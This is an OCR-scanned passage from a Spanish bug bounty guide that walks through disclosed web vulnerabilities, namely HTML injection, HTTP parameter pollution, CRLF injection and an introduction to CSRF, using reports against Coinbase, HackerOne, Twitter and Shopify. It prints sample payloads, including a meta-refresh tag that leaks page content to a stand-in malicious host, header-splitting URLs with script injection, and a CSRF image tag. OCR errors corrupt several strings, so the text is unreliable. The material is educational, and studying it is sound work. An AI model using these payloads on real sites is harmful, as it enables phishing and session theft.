Ahora, de regreso a nuestro ejemplo, si un atacante ingresara un cédigo HTML como el siguiente:
<h1>Esta es una prueba</hi>

En ese momento, Coinbase podia renderizar el c6digo como texto plano, exactamente como lo acabas
de ver. Sin embargo, si el usuario hubiera enviado caracteres codificados por URL, asi como estos:

B3CH68%31%3EX45%T3%74%61%20%65%73%20%7556E%61%20%70%72%75%65%62%61%3C%E2F 568%31%3E
Coinbase pudo decodificarlos y renderizar la salida con las letras correspondientes:

Esta es una prueba

Ya con esto, el hacker que reporté la vulnerabilidad demostré6 como pudo haber enviado un
formulario HTML con los campos respectivos para solicitar nombre de usuario y contraseiia, los
cuales el sitio de Coinbase los podia mostrar. El hacker tuvo que haber sido ingenioso, para hacer
que Coinbase pudiera haber renderizado un formulario cuyos valores pudieron haber sido enviados
a un sitio malicioso y haber capturado credenciales (mientras que las personas asumian que llenaban
un formulario de la empresa)

Q& Recomendaciones

Cuando te encuentres evaluando un sitio, revisa como maneja los diferentes tipos de
entrada, incluyendo texto plano y texto codificado. Sigue en la busqueda de sitios que
acepten valores codificados por URI y que muestren valores como %2F ademéas de mostrar
por pantalla sus valores decodificados, para este caso /. Mientras no sepamos lo que el
hacker estaba pensando en este ejemplo, es posible que intentaran codificar en la URI
caracteres restringidos y fijarse como Coibase los estaba decodificando. El hacker fue un
paso por delante y codificé por URI todos los caracteres.

Un magnifico codificador es http://quick-encoder.com/url. Has de notar que al usarlo te
dira que los caracteres no restringidos no necesitan codificacién y aun asi te dara la opcién
de codificar tu cadena de forma url-segura. Tienes que hacerlo de esa manera porque asi
obtendras la misma cadena codificada que se utilizo sobre el sitio de Coinbase.
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2. Inclusion no intencional de HTML en HackerOne

Dificultad: Media

URL: hackerone.com

Enlace del informe: https://hackerone.com/reports/112935
Fecha del informe: 26 de Enero, 2016

Recompensa recibida: $500

Descripcion:

Después de leer sobre la vulnerabilidad XSS en Yahoo! (ejemplo 4 del Capitulo 7) me vine a poner
obsesionado con las pruebas de renderizado HTML en editores de texto. Esto incluia ponerme a
jugar con el editor de texto Markdown de HackerOne, escribiendo cosas como ismap= “yyy=xxx"

y “‘test” dentro de las etiquetas de imagenes. Mientras lo hacia, me fijé que el editor podia incluir
una comilla simple dentro de una comilla doble - lo que es conocido como colgando una comilla.

En ese momento no comprendia realmente las implicaciones que pudiera tener. Lo que si sabia es
que si inyectaba otra comilla simple en algtn otro lugar, ambas podrian ser analizadas en conjunto
por un navegador, en el cual podria ver el contenido encerrado entre ellas como un elemento HTML.
Por ejemplo:

—n

<h1>Esta es una prueba</h1><p class="alguna clase">algln contenido</p>"
Con este ejemplo, que tal si se te ocurre inyectar una etiqueta meta como la siguiente:
<meta http-equiv="refresh" content='0Q; url=https://sitiomalvado.com/log.php?text=

el navegador podria enviar todo el contenido que se encuentre entre las dos comillas simples. Ahora
bien, regresemos, esto era lo que sabia y fue divulgado en HackerOne en el informe #110578* por
intidc (https://hackerone.com/intidc). Cuando eso vino a ser publico, mi corazén se bajo un poco.

De acuerdo a la opinion de HackerOne, ellos confiaron en una implementacién de Redcarpet (una
biblioteca de Ruby para el procesamiento de Markdown) para hacer escapar la salida HTML de
cualquier entrada en Markdown la cual es pasada directamente al DOM del HTML (por ej., la pagina
web) por la via de dangerouslySetInnerHTML en su componente React. Como nota aclaratoria, React
es una biblioteca Javascript que puede ser utilizada para actualizar de forma dinamica parte del
contenido de una pagina web sin recargar toda la pagina.

El DOM se dirige a una Interfaz de Programacion de la Aplicacion (API) para un HTML valido
y documentos XML bien formados. Esencialmente, de acuerdo con Wikipedia, el DOM es una

*https://hackerone.com/reports/112935
“https://hackerone.com/reports/110578
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convencion independiente de la plataforma y del lenguaje para representar e interactuar con objetos
en documentos HTML, XHTML y XML.

En la implementacién de HackerOne, no estaban haciendo escapar apropiadamente la salida del
codigo HTML lo cual conducia a un exploit en potencia. Ahora, dicho eso, viendo el informe pensé
que podia probar el cddigo nuevo. Fui de regreso al editor y escribi:

[prueba] (http://www.torontowebsitedeveloper.com "prueba ismap="alert xss" yyy="p\

rueba"")
con lo que obtuve de vuelta:

<a title="'"prueba" ismap="alert xss" yyy="prueba" &#39; ref="http://www.toronotw\

ebsitedeveloper.com">pruebac</a>

Como puedes ver, estuve habilitado a inyectar HTML dentro de la etiqueta <a>. Como resultado,
HackerOne reverti6 la solucién y comenzo6 a trabajar de nuevo en el escapado de la comilla simple.

Qt Recomendaciones

El hecho que un c6digo esté actualizado no significa que algo esté solucionado. Continua
haciendo pruebas. Cuando se despliega un cambio de cddigo, eso significa que el cddigo
nuevo también puede contener errores.

Adicionalmente, si sientes que algo no anda bien, sigue profundizando! Yo sabia que el
hecho de soltar una comilla simple podia ser un problema, pero lo que no sabia era como
explotarlo y por eso me detuve. Debi haberme mantenido en la bisqueda. De hecho, aprendi
sobre el exploit de la actualizacion de pagina por medio de la etiqueta meta al leer sobre
XSS en el blog de Jigsaw blog.innerht.ml (este esta incluido en el capitulo sobre Recursos),
pero fue hasta mucho después.

3. Contenido engainoso en el sitio de Within Security

Dificultad: Baja

URL: withinsecurity.com/wp-login.php

Enlace del informe: https://hackerone.com/reports/111094°
Fecha del informe: 16 de Enero, 2015

Recompensa recibida: $250

Descripcion:

*https://hackerone.com/reports/111094
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Aunque el contenido engafioso técnicamente es distinto al tipo de vulnerabilidad inyeccion HTML,
lo he incluido aqui debido a que comparte la misma naturaleza de que un atacante tiene un sitio que
muestra el contenido de su eleccion.

El sitio web de Within Security fue construido sobre la plataforma de Wordpress la cual incluye
la ruta hacia el registro en withinsecurity.com/wp-login.php (desde entonces, el sitio ha sido
combinado con la plataforma principal de HackerOne). Un hacker se dio cuenta que durante el
proceso de registro, si sucedia un error, el sitio de Within Security podia mostrar acceso_denegado,
el cual correspondia también al parametro de error en la url:

https://withinsecurity.com/wp-login.php?error=acceso_denegado

Habiendo descubierto esto, el hacker intenté modificar el parametro de error y encontr6 que lo que
fuese que escribiera estaba siendo renderizado en el sitio como parte del mensaje que era presentado
a los usuarios. Aqui esta el ejemplo que se utilizo:

https://withinsecurity.com/wp-login.php?error=Tu%20uenta’%20ha%20%sido%20hackeada

File Edit View History Bookmarks Tools Help = s
|1 Submit report to withinsec.. % | withinsecurity > Log In % Ut
€ ) @ HackerOne, Inc. (US) | https://withinsecurity.com/wp-login phplerror=Yo %20has%20been%:20hacked% c | » 5 wBe 9 & & =
]
Your account has been hacked, Please call us
this number 419876543210 OR Drop mail at
attacker@mail.com E
Login with Google
or

Username
Password
[ Remember Me

OGN T e/ & ] @ L

Contenido engafioso en el sitio de WithinSecurity

La clave aqui era fijarse en el parametro de la URL que estaba siendo renderizado en la pagina.
Aunque no lo explican en el informe, podria pensar que el hacker se dio cuenta que el mensaje
acceso_denegado también estaba siendo incluido en la URL. Simplemente con cambiar el parametro
probablemente revel¢ la vulnerabilidad de la cual inform.
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q& Recomendaciones

Siempre mantén un ojo en los parametros de la URL que estan siendo pasados y renderi-
zados en el contenido del sitio. Esto podria presentar oportunidades para que los atacantes
engafien a las victimas al realizar alguna accion mal intencionada.

Resumen

La inyeccion HTML presenta una vulnerabilidad para los sitios y los desarrolladores porque esta
puede ser utilizada para desviar a los usuarios a que envien informacion sensible o que visiten sitios
web maliciosos o mal intencionados. Conocido de otra manera como ataques de phishing.

Para descubrir estas vulnerabilidades no siempre se trata de enviar HTML plano sino de explorar
como un sitio podria estar renderizando el texto que hayas ingresado, asi como los caracteres
codificados en la URI. Y, mientras no sea completamente lo mismo que una inyecciéon HTML,
el contenido engafioso es parecido en que éste se introduce en algin tipo de entrada que es
reflejado nuevamente en la pagina HTML que obtiene la victima. Los hackers siempre deberian estar
examinando la oportunidad de manipular los parametros de una URL y que estos sean renderizados
en el sitio.
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Descripcion

La contaminacion de parametros HTTP o su forma corta de referirse HPP, sucede cuando un sitio
web acepta datos provistos por el usuario y usa esos datos para hacer una solicitud HTTP a otro
sistema sin haber validado esos datos de entrada. Esto puede suceder de una o dos maneras, por el
lado del Servidor (en el sistema backend) o en el lado del cliente.

En StackExchange, SilverlightFox provee un fabuloso ejemplo de un ataque HPP en el lado del Servi-
dor; supongamos que tenemos el siguiente sitio web, https://www.example.com/transferirDinero.php,
al cual se puede acceder por el método POST tomando los siguiente parametros:

cantidad=1000&desdeCuenta=12345

Cuando la aplicacion procese esta solicitud, hara su propia solicitud POST a otro sistema backend,
la que procesa la transaccién con un parametro fijo nombrado haciaCuenta.

URL del sistema backend separado: https://backend.example.com/realizarTransferencia.php

Parametros del backend por separado: haciaCuenta=9876&cantidad=1000&desdeCuenta=12345

Ahora, si el sistema backend solamente toma el ultimo parametro cuando estos se han mandado
duplicados y supongamos que un hacker altera la solicitud POST al sitio web para enviar un
parametro haciaCuenta parecido al siguiente:

cantidad=1000&desdeCuenta=12345&haciaCuenta=99999

Un sitio vulnerable al tipo de ataque HPP podria encaminar la solicitud a otro sistema backend
enviando algo como lo siguiente:

haciaCuenta=9876&cantidad=1000&desdeCuenta=12345&haciaCuenta=99999

En este caso, el segundo parametro haciaCuenta enviado por un usuario mal intencionado podria
haber anulado la solicitud del primer parametro del backend y transferir el dinero al numero de
cuenta enviado por el usuario mal intencionado (99999) en vez de ir a la cuenta establecida por el
sistema (9876).
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Esto es util si un atacante pudiera modificar sus solicitudes, las cuales fueran procesadas en un
sistema que sea vulnerable. Pero atin podria ser mas 1util a un atacante si él pudiera generar un
enlace desde otro sitio web y atraer a los usuarios a que, sin su conocimiento o consentimiento,
envien la solicitud maliciosa con el parametro agregado por el atacante.

Desde la otra perspectiva, el ataque HPP en el lado del cliente tiene que ver con la inyeccion de
parametros adicionales a los enlaces y otros atibutos del tipo src. Tomando prestado un ejemplo de
la OWASP, supongamos que tenemos este codigo:

<? $val=htmlspecialchars($_GET[ 'par'],ENT_QUOTES); 7>
<a href="/page.php?action=view&par="'.<?=$val?>."'">Mirame, hazme clic!</a>

Esto toma un valor para el parametro par desde la URL, se asegura que el contenido que recibira el
parametro esté a salvo de caracters extrafos y crea un enlace fuera de él. Entonces, si un atacane
envia esto:

http://host/page.php?par=123%26action=edit

el enlace que resultara podria verse algo asi:

<a href="/page.php?action=view&par=123&amp;action=edit">Mirame, hazme clic!</a>
Esto podria llevar a que la aplicacion acepte la accién de editar en vez de la accion visualizar.

Ambos tipos de ataques HPP, tanto del lado del servidor como del lado del cliente dependen de
la tecnologia backend que esté siendo utilizada y de coémo se comporte cuando reciba multiples
parametros con el mismo nombre. Por ejemplo, PHP/Apache utiliza la ultima coincidencia que
aparezca, Apache Tomcat utiliza la primera, ASP/IIS utiliza todas las coincidencias que aparezcan,
etc. Como resultado tenemos que, no hay una sola garantia que en la manipulaciéon y envio de
multiples parametros con el mismo nombre y la bisqueda de ataques HPP no dejara de tomar un
tiempo para experimentar y confirmar como funciona el sitio web que estas evaluando.

Ejemplos

1. Botones para compartir en medios sociales del sitio HackerOne

Dificultad: Baja

URL: https://hackerone.com/blog/introducing-signal-and-impact
Enlace del informe: https://hackerone.com/reports/105953°
Fecha del informe: 18 de Diciembre, 2015

Recompensa recibida: $500

®https://hackerone.com/reports/105953
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Descripcion: HackerOne incluye enlaces para compartir contenido en sitios de redes sociales
populares como Twitter, Facebook, etc. Esos enlaces a los medios sociales incluyen parametros
especificos al enlace del medio social.

La vulnerabilidad fue descubierta cuando un hacker pudo pegarse a un parametro de otra URL del
enlace y hacerlo que apuntara a un sitio de su eleccion, en el cual HackerOne lo podia incluir en
la solicitud POST hacia el sitio de medios sociales, y por lo tanto, resultaba en un comportamiento
inesperado.

El ejemplo utilizado en el informe de la vulnerabilidad, fue cambiar la siguiente URL:
https://hackerone.com/blog/introducing-signal

por esta:

https://hackerone.com/blog/introducing-signal ?&u=https://vk.com/durov

Fijate en el parametro u que anadié. Si el nuevo enlace alterado hubiese sido presionado por los
usuarios visitantes de HackerOne que quieren compartir algo por medio de los enlaces de medios
sociales, el enlace malicioso resultante se vera algo parecido a esto:

https://www. facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal ?&u=https://vk

Aqui tenemos que, el ultimo parametro u que fue afiadido precede al primero y, por lo tanto, sera el
que se utilice en la publicacion de Facebook. Cuando se publique en Twitter, el texto predeterminado
sugerido también podria ser cambiado por:

https://hackerone.com/blog/introducing-signal ?&u=https://vk.com/durov&text=another_si-
te:https://vk.com/durov

Q& Recomendaciones

Procura estar en la busqueda de oportunidades cuando los sitios web estan aceptando
alguiin contenido y parecen estar contactando con otro servicio web, como sitios de medios
sociales.

En estas situaciones puede ser posible enviar contenido que esta siendo dejado pasar
directamente sin pasar bajo las revisiones de seguridad pertinentes.

2. Desinscribirse de las Notificaciones en Twitter

Dificultad: Baja
URL: twitter.com
Enlace del informe: merttasci.com/blog/twitter-hpp-vulnerability’

Fecha del informe: 23 de Agosto, 2015

"http://www.merttasci.com/blog/twitter-hpp-vulnerability
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Recompensa recibida: $700
Descripcion:

En Agosto de 2015, el hacker Mert Tasci detecté en una URL interesante mientras se estaba
desinscribiendo de recibir notificaciones de Twitter:

https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26

(He acortado un poco este informe para hacerlo conciso). Te has fijado en el parametro UID? Sucede
que ese el identificador de usuario de tu cuenta de Twitter. Ahora, sabiendo eso, él hizo lo que asumo
la mayoria de hackers hubiéramos hecho, cambiar ese UID por el de otro usuario y ... nada. Twitter
devolvi6 un error.

El, estando con mucha determinacién donde otros se hubieran rendido, Mert intent6 afiadir un
segundo parametro UID a la URL para que luciera de esta forma (nuevamente, he acortado el
informe):

https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

y ... EXITO! El pudo desinscribir a otro usuario de las notificaciones por correo. Como vemos, Twitter
era vulnerable a HPP para desisncribir usuarios.

Q& Recomendaciones

Pensé en una descripcion muy corta, el esfuerzo de Mert demostr la importancia de la
persistencia y conocimiento. Si él hubiera desistido de buscar la vulnerabilidad después
de probar el UID de otro usuario como la tnica opcién y no hubiese sabido del tipo de
vulnerabilidad HPP, y no hubiera recibido su recompensa de $700.

También, hay que estar pendiente de los parametros como UID, que son incluidos en las
solicitudes HTTP, tal como lo he visto en muchos informes a lo largo de mis investigaciones,
lo cual implica la manipulacién de sus valores y ver como las aplicaciones web se comportan
de una forma inesperada.

3. Interacciones web en Twitter

Dificultad: Baja

URL: twitter.com

Enlace del informe: Parameter Tamperting Attack on Twitter Web Intents®
Fecha del informe: Noviembre, 2015

Recompensa recibida: No revelada

Descripcion:

®https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
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De acuerdo a su documentacion, las Interacciones via web en sitios externos a Twitter, proveen flujos
optimizados en ventanas emergentes para trabajar con tweets o interactuar con usuarios de Twitter
por medio de: Tweet, Respuestas, Retweet, Me gusta y Seguir usuarios. Esto hara posible que los
ususarios interactien con los contenidos de Twitter en el contexto de tu sitio sin dejar la pagina que
se encuentra visitando o tener que autorizar una nueva aplicaciéon web para tener la interaccion.
Aqui hay un ejemplo de como luce esto:

r_

W Like this Tweet - Google Chrome

B Twitter, Inc. [US]| https://twitter.com/intent/like?tweet_id=4705005051328921

v M

Like this Tweet?
Jack @jacl

5 years ago today we started programming Twitter ("twitr" for short).
& days later the first tweet was sent: .mp/19bhrr #witr

b

Twitter Intent

Haciendo estas pruebas, el hacker Eric Rafaloff encontré que los cuatro tipos de interacciones,

seguir un usuario, simpatizar con un tweet, hacer un retweet o simplemente publicar un tweet eran
vulnerables a HPP.
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Viendo la publicacién en su blog, si Eric creaba una URL con dos parametros screen_name como
esta:

https://twitter.com/intent/follow?screen_name=twitter&screen_name=erictest3

Twitter podria manejar la solicitud dando precedencia al segundo parametro screen_name haciendo
caso omiso del primero. De acuerdo a Eric, el formulario web para lanzar el ataque era parecido a
este:

<form class="follow" id="follow_btn_form" action="/intent/follow?screen_name=eri\
crtest3" method="post">

<input type="hidden" name="authenticity_token" value="...">

<input type="hidden" name="screen_name" value="twitter">

<input type="hidden" name="profile_id" value="783214">

<button class="button" type="submit" >
<b></b><strong>Seguir</strong>
</button>
</form>

Una victima podria ver el perfil del usuario definido en el primer parametro screen_name, twitter,
pero al hacer clic al botén, él podia terminar siguiendo a erictest3.

De forma similar, al presentar interacciones para dar me gusta a un tweet, Eric descubrié que podia
incluir un parametro screen_name a pesar de no tener relevancia con el tweet que desearian marcar
como favorito. Por ejemplo:

https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=erictest3

Dando un Me gusta a este tweet podria resultar en que una victima seria presentada con el perfil
correcto del propietario, pero al hacer clic en Seguir podria terminar, nuevamente, siguiendo a
erictest3.

Q& Recomendaciones

Esto es similar a la vulnerabilidad anterior de Twitter respecto al parametro UID. Sorpren-
dentemente, cuando un sitio es vulnerable a una falla como HPP, esto podria ser un indicio
de un problema sistematico mas amplio. Algunas veces, si ecuentras una vulnerabilidad
como esta, vale la pena tomarse el tiempo de explorar la plataforma en su totalidad para
ver si hay otras areas donde podrias estar habilitado a explotar un comportamiento similar.
En este ejemplo, tal como en el UID de arriba, Twitter estaba pasando un identificador de
usuario, screen_name el cual era susceptible a un ataque HPP basado en su logica del
sistema backend.
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Resumen

El riesgo que posee HTTP Parameter Pollution o contaminacién de parametros HPP depende
realmente de las acciones realizadas por el sistema backend de un sitio y hacia donde sera enviado
el parametro contaminado.

Descubrir estos tipos de vulnerabilidades depende de la experimentacion, porque mas alla de las
otras vulnerabilidades las acciones que pueda llevar a cabo el sistema backend de un sitio podrian
ser una caja negra completa para un hacker. Mas usual que lo normal, como un hacker, tendras que
echar un pequeno vistazo a las acciones que realiza un sistema backend después de haber recibido
los datos que enviaste.

A través de la prueba y error, podrias descubrir situaciones donde un sitio se esté comunicanco con
otro Servidor y entonces iniciar la prueba de contaminacién de parametros. Los enlaces a medios
sociales usualmente son un buen primer paso pero recuerda mantenerte profundizando y pensar en
el ataque HPP cuando evalues las sustituciones de parametros, como en el caso de los UIDs.



Inyecion de CRLF

Descripcion

La inyeccion de Reterno de Carro y Alimentacién de Linea (CRLF) es un tipo de vulnerabilidad que
sucede cuando un usuario hace la inserciéon de unos caracteres CRLF dentro de una aplicacion. Los
caracteres CRLF representan un final de linea para muchos protocolos de Internet, incluso en HTML.
Dichos caracteres son %0D%0A los que al ser decodificados se representan asi \r\n. Estos pueden
ser utilizados para denotar un ruptura de linea y cuando son combinados con solicitudes HTTP o
Cabeceras de Respuesta, pueden conllevar a diferentes vulnerabilidades, incluyendo Contrabando
de solicitudes HTTP y Division de solicitudes HTTP.

En términos de Contrabando de solicitudes HTTP, ésta ocurre usualmente cuando una solicitud
HTTP es pasada a través de un Servidor, el cual la procesa y la pasa a otro Servidor, asi como un
proxy o un cortafuegos.Este tipo de vulnerabilidades puede resultar en:

« Envenenamiento de la Caché, una situacion donde un atacante puede cambiar las entradas en
la caché y servir paginas maliciosas (por ej., paginas conteniendo codigo malicioso javascript
adicional) en lugar de las paginas apropiadas

« Evasion de cortafuegos, una situaciéon donde una solicitud puede ser disenada para evitar las
revisiones de seguridad, tipicamente solicitudes envolviendo un CRLF y solicitudes de cuerpos
(HTML) demasiado largos

« Solicitud de secuestro, una situacion donde el atacante puede robar cookies marcadas como
HttpOnly y también informacion de autenticaciéon HTTP. Esto es parecido a un ataque XSS
pero no necesita interaccion alguna entre el cliente y el atacante

Ahora bien, aunque estas vulnerabilidades existen, son dificiles de alcanzar. He hecho aqui una
referencia para que tengas una idea de que tan severo puede ser un Contrabando de solicitud.

Con respecto a la Division de Solicitud HTTP, los atacantes pueden establecer cabeceras de respuesta
de manera arbitraria, controlar el cuerpo (HTML) de la respuesta proveyendo asi dos respuestas en
lugar de una, como se dmostrara en el ejemplo #2 - v.shopify.com Divisién de Respuesta (si necesitas
un recordatorio sobre solicitudes y respuestas HTTP, retrocede un poco hacia el capitulo relacionado
al Transfondo).

1. Division de respuesta HTTP en Twitter

Dificultad: Alta
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URL: https://twitter.com/i/safety/report_story

Enlace del informe: https://hackerone.com/reports/52042°
Fecha del informe: 21 de Abril, 2015

Recompensa recibida: $3,500

Descripcion:

En Abril de 2015, fue informado que Twitter tenia una vulnerabildiad la cual permitia a los hackers
establecer una cookie arbitraria con solo adherir informacién adicional a la solicitud realizada a
Twitter.

Esencialmente, después de realizar la solicitud a la URL de arriba (una reliquia de Twitter que
permitia a las personas reportar anuncios), Twitter podia devolver una cookie para el parametro
reported_tweet_id. No obstante, de acuerdo al informe, la validacion de Twitter estaba confirmando
si el tweet era numérico o estaba defectuoso.

Mientras Twitter validaba ese caracter de linea nueva, 0x0a, la validaciéon podia ser burlada
codificando los caracteres como codificacion UTF-8. Haciendo eso, Twitter podia convertir los
caracteres nuevamente a su codificacion original de unicode y por lo tanto, evadir el filtro. Aqui
esta el ejemplo:

BESZE98%8A => U+560A => OA

Esto es muy significativo, porque los caracteres de linea nueva son interpretados en el Servidor
justamente como lo que son, creando una linea nueva la cual lee el Servidor y luego la ejecuta, en
este caso para adherir una cookie nueva.

Ahora bien, los ataques CRLF pueden ser aun mas peligrosos cuando permiten ataques XSS (para
mas informacion, vea el capitulo relacionado a Cross-Site Scripting). En este caso, debido a que los
filtros de Twitter son burlados, una respuesta nueva podria ser devuelta al usuario la cual incluiria
un ataque XSS. Esta es la URL:

https://twitter.com/login?redirect_after_login=https://twitter.com:21/%E5%98%8A%\
E5%98%8Dcontent-type:text/html%ES5%98%8A%ES%98%8D1ocation : #ES%98%8A%ES%98%8D%ES%O\
8%8A%ES%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Fijate en el codigo %E5%E98%8A esparcido a través de la URL. Si tomamos esos caracteres y le
afadimos rupturas de linea, aqui esta como luciria la cabecera:

*https://hackerone.com/reports/52042
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https://twitter.com/login?redirect_after_login=https://twitter.com:21/
content-type:text/html
location: %E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Como puedes ver, la ruptura de linea permite la creaciéon de una nueva cabecera que sera devuelta
con codigo Javascript ejecutable - svg/onload=alert(innerHTML). Con este c6digo, un usuario mal
intencionado, podria robar la informacion de sesion de Twitter a una victima.

Qk Recomendaciones

El buen hacking es una combinacion de observacion y habilidad. En este caso, quien
informé de la vulnerabilidad, @filedescriptor, conocia previamente de un fallo en la
codificaciéon en Firefox el cual no manejaba bien la codificacion. Sacando provecho de
ese conocimiento, lo condujo a probar una codificaciéon parecida en Twitter obteniendo de
regreso la linea insertada.

Cuando estas en la busqueda de vulnerabilidades, siempre acuérdate de pensar fuera de lo
normal (de forma totalmente diferente) y envia valores codificados para ver como el sitio
maneja la informacién que has ingresado.

2. Division de Respuesta en v.shopify.com

Dificultad: Medium

URL: v.shopify.com/last_shop?x.myshopify.com

Enlace del informe: https://hackerone.com/reports/106427*°
Fecha del informe: 22 de Diciembre, 2015

Recompensa recibida: $500

Descripcion:

Shopify incluye algunas funcionalidades detras del escenario que establecen una cookie en tu
navegador apuntando a la ultima tienda en la que te hayas registrado. Esto lo hace a través del
ultimo lugar en, /last_shop?’NOMBREDELSITIO.shopify.com

En Diciembre de 2015, fue descubierto que Shopify no estaba validando el parametro de la tienda
que estaba siendo pasado a la llamada. Como resultado, haciendo uso de Burp Suite, un hacker de
sombrero blanco pudo alterar la peticion con %0d%0a y generar una cabecera que era devuelta al
usuario. Aqui hay una captura de pantalla:

https://hackerone.com/reports/106427
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Raw | Params | Headers T@ Raw | Headers TET HTML I Render

GET [+ HTTP/1.1 204 No Content
Jlast_shop?shop=krankopwnz . myshopi fy . coms0d®s0acontent - Length : %200%0d%0a%0d%0aHT TP/ 1 . 1%20200%200K%0d%0aContent - Type [ Server: nginx

:%20text /html%0dkBaContent - Length:%2019%0d%0a%0d%s0a<html >def ace</html> HTTR/1.1 Date: Tue, 22 Dec 2015 08:51:21 GMT

Host: v.shopify.com Connection: keep-alive

User-Agent: MozillasS5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.4.0 Set-Cookie: last_shop=krankopwnz.myshopify.com
Accept: #/* Content-Length: ©

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate HTTP/1.1 200 OK

Referer: https://krankopwnz.myshopify.com/admin/reports/cart_analysis Content-Type: text/html

Cookie: optimizelyEndUserId=oeuldS0527156915r0.677642801634968; Content-Length: 19
optimizelySegments=%7E%22176825124%22%3%22f a1 5e%22%2C% 222066851 97%22% 3% 22e xpi reddomain i nk%22%2C%222633450034%22

%BAH22T U 225205622 1 7E833027%22%30% 221 T4 22% 20221 76747 959%22%3A%22CaMp a1 gn%22%2C% 2224444901 08%22%3A% 221 rue%22%2C%2 <html=deface=/html=; path=/; domain=.shopify.com; max-age=63072000
21266000067%22%3At ruets2C%522204431 27 Fs22%3A%22n0ne%22%2C% 221 96467 935%22%30%22f al 5e%22% 2% 221 980651 73622%534%22refer X-Content-Type-Options: nosniff
al%22%2C%22198424230%22%3A%22f f %22%2C% 2252374057 2%22%3A%22f al se%22%2C%22521020227%22% 3A%22n0ne%22%2C% 2252374057 1%2

Z3ms22ref erral 222050225237 4057 Fo2230% 221 £ %22% 202226225101 91% 223 A% 221 rUe%22%2C% 2225771 10302522 38% 22 r Ue%22%2C

%221587850080%22%3A%22f %522 2C%221 590330050722 3% 225 e ar c % 2272022156761 01 0982253/ 22n 0% 22 2% 22 1 5893900767223

Shopify HTTP Response Splitting

Y aqui esta el codigo malicioso:

%0d%0@aContent-Length: %200%0d%0a%0d%0@aHTTP /1 .1%20200%200K%0d%0aContent -Type : %20te\
xt/html%0d%0aContent -Length:%2019%0d%0a%0d%@a<html>Pagina desfigurada!</html>

En este caso, el %20 representa un espacio en blanco y %0d%0a es un CRLF. Como resultado, el
navegador recibié dos cabeceras y renderizé en el navegador la segunda, la cual podria haber
conllevado a una variedad de vulnerabildades, incluyendo ataques del tipo XSS.

Qt Recomendaciones

Permanece en la busqueda de oportunidades donde un sitio esté aceptando tu entrada de
informacion y la utilice como parte de las cabeceras que devolvera. En este caso, Shopify
crea una cookie con el ultimo valor de last_shop que fue extraido de un parametro de la
URL que era controlable por el usuario. Esta es una buena sefial que puede ser posible
exponer una vulnerabilidad de inyeccién de CRLF.

Resumen

El buen hacking es una combinacion de la observacion y habilidad. Conocer como pueden ser
utilizados los caracteres codificados para exponer vulnerabilidades es una gran habilidad que hay
que poseer. Los caracteres %0D%0A pueden ser utilizados para evaluar la seguridad de los Servidores
y determinar donde puede estar en ellos una vulnerabilidad de inyecciéon de CRLF. Si la hay, toma
un paso por delante e intenta combinar la vulnerabilidad con una inyeccién de XSS (cubierto en el
Capitulo 7).

Por otro lado, si el Servidor no responde a un %20D%0A piensa como puedes codificar nuevamente
esos caracteres y probarlos contra el Servidor para ver si decodifica la doble codificacion de los
caracteres, asi como lo hizo @filedescriptor .

Permanece en la busqueda de oportunidades donde un sitio esta utilizando un valor enviado para
devolver algtn tipo de cabecera, como la creacion de una cookie.



Falsificacion de solicitud de sitio
cruzado

Descripcion

Un ataque de Falsificacion de solicitud de sitio cruzado, o CSRF, sucede cuando un sitio web
malicioso, un correo electronico, mensajeria instantanea o una aplicacion, etc, hace que el navegador
de un usuario realice alguna accion hacia otro sitio web donde ese usuario ya esta autenticado o
registrado. A menudo esto sucede sin que el usuario sepa de la accién que ha sucedido.

El impacto de un ataque CSRF depende del sitio web que esta recibiendo la accién Aqui hay un
ejemplo:

1. Bob ingresa a su cuenta bancaria en linea, realiza algunas transacciones pero no cierra la
sesion.

2. Luego, Bob revisa su correo y hace clic en un enlace hacia un sitio web que no le es muy
confiable.

3. El sitio web que no es muy confiable hace una solicitud al sitio web de la cuenta bancaria de
Bob para transferir dinero pasandole en una cookie parte de la informacién almacenada en la
sesion de la cuenta de Bob, a causa del paso 1.

4. El sitio web de la cuenta bancaria de Bob recibe la solicitud del sitio no muy confiable
(malicioso), sin utilizar un simbolo (conocido como “token”) anti CSRF y el sitio bancario
procesa la transferencia.

Aun mas interesante, esta la idea que el enlace al sitio web malicioso esté contenido en cddigo
HTML que sea véalido, el cual no necesite que Bob haga clic en el link, <img src="www.sitio_-
malicioso.com”>. Si el dispositivo de Bob (por ej., un navegador web) renderiza esta pagina, hara
la solicitud a www.sitio_malicioso.com y potencialmente ejecutara el ataque CSRF.

Ahora, sabiendo los peligros que conllevan los ataques CSRF, estos pueden ser mitigados de un buen
nimero de formas, tal vez el mas popular sea utilizar un token anti CSRF el cual debe ser enviado
con la solicitud de alteracién de datos (por ej., solicitudes POST). Aqui, una aplicacién web (como la
cuenta bancaria de Bob), podria generar tokens con dos partes, una en la cual Bob la pueda recibir
y la otra que la aplicacion pueda conservar.

Cuando Bob intente hacer solicitudes de transferencia, él tendria que enviar su token, el cual el banco
tendra que validar o comparar con el token que esta de su lado.
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Ahora, respecto al ataque CSRF y los tokens anti CSRF, esto parece como la Comparticion de
Recursos de Origenes Cruzados (en inglés Cross Origin Resource Sharing, o CORS), la cual se
hace cada vez mas comun, o solamente soy yo el que los encuentro mas a menudo porque estoy
explorando mas objetivos. Esencialmente, CORS restringe recursos, incluyendo las respuestas json
que sean accesbles por un dominio fuera del alcance del que sirvi6 el archivo. En otras palabras,
cuando CORS es utilizado para proteger un sitio, no puedes escribir codigo Javascript para llamar a
la aplicacion objetivo, leer la respuesta y hacer otra llamada, a menos que el sitio objetivo lo permita.

Si esto te parece confuso, utiliza Javascript e intenta hacer una llamada a HackerOne.com/activity.json,
leer la respuesta y hacer una segunda llamada. También veras la importancia de esto y como funciona
en el Ejemplo #3 mas abajo.

Finalmente, es importante notar (gracias a Jobert Abma por la notificacién), que no todas las
solicitudes sin un token anti CSRF es un problema valido de CSRF. Algunos sitios web podrian
realizar revisiones adicionales como comparar la cabecera Referer (aunque esto no es a prueba de
